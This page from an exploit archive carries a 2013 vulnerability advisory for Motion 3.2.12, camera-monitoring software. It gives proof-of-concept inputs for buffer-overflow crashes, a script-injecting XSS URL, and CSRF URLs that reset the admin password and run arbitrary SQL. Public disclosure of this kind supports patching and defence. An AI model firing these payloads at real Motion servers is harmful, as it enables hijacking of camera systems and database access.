what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Motion 3.2.12 XSS / CSRF / Buffer Overflow / SQL Injection

Motion 3.2.12 XSS / CSRF / Buffer Overflow / SQL Injection
Posted Jun 26, 2013
Authored by xistence

Motion version 3.2.12 suffers from buffer overflow, cross site request forgery, cross site scripting, and remote SQL injection vulnerabilities.

tags | exploit, remote, overflow, vulnerability, xss, sql injection, csrf
SHA-256 | b0344ad160e1b46270a65b0478d5055eea41ebe9ede1d2cfbe6032d25f57175b

Motion 3.2.12 XSS / CSRF / Buffer Overflow / SQL Injection

Change Mirror Download
Title: Motion 3.2.12 Multiple Vulnerabilities
Author: xistence - xistence[at]0x90[.]nl
Date: 26/06/2013
Vendor page: http://www.lavrsen.dk/foswiki/bin/view/Motion
Software link: http://www.lavrsen.dk/foswiki/bin/view/Motion/DownloadFiles
Software description: Motion is a program that monitors the video signal
from cameras. It is able to detect if a significant part of the picture has
changed; in other words, it can detect motion.
Tested on: Kali


Motion 3.2.12 is prone to multiple vulnerabilities. These vulnerabilities
are Buffer Overflows, Cross Site Scripting and Cross Site Request Forgery.

(0x01) - Buffer Overflows:

Supplying a long filename to the config and pid parameters of the "motion"
binary will result in a buffer overflow. The cause of this is, is the
unsafe C function strcpy() where no boundary checking is done to prevent
overflowing the buffer.
This in theory could be abused to escalate privileges if the suid/sgid flag
is set on the motion binary (not default on most operating systems as far
as I know)
Below how to replicate the bugs:

1)
# motion -c `python -c 'print "\x41"*1000'`
[0] Configfile
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
not fou:
Segmentation fault

2)
# motion -p /tmp/`python -c 'print "\x41"*5000'`
Segmentation fault


(0x02) - Cross Site Scripting:

It's possible to execute script code on the client-side browser through the
"process_id_file" parameter.
The following Proof of Concept url will display a popup with the text XSS:

http://
<IP>:<PORT>/0/config/set?process_id_file=</li><script>alert('XSS');</script><li>


(0x03) - Cross Site Request Forgery:

The following urls show that it's's possible to reset a password, change
the SQL query by sending a complete URL to the victim. If the victim clicks
on the url, it will execute the command without any further checking.
http://<IP>:<PORT>/0/config/set?control_authentication=admin:mypassword
(Set admin password)
http://<IP>:<PORT>/0/config/set?sql_query=SELECT%20user() (Arbitrary SQL
query)


07 Mar 2013: Discovered vulnerabilities
07 Mar 2013: Filed bug report at
http://www.lavrsen.dk/foswiki/bin/view/Motion/BugReport2013x03x07x071831
26 Jun 2013: No contact or updates whatsoever from developer, public release
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close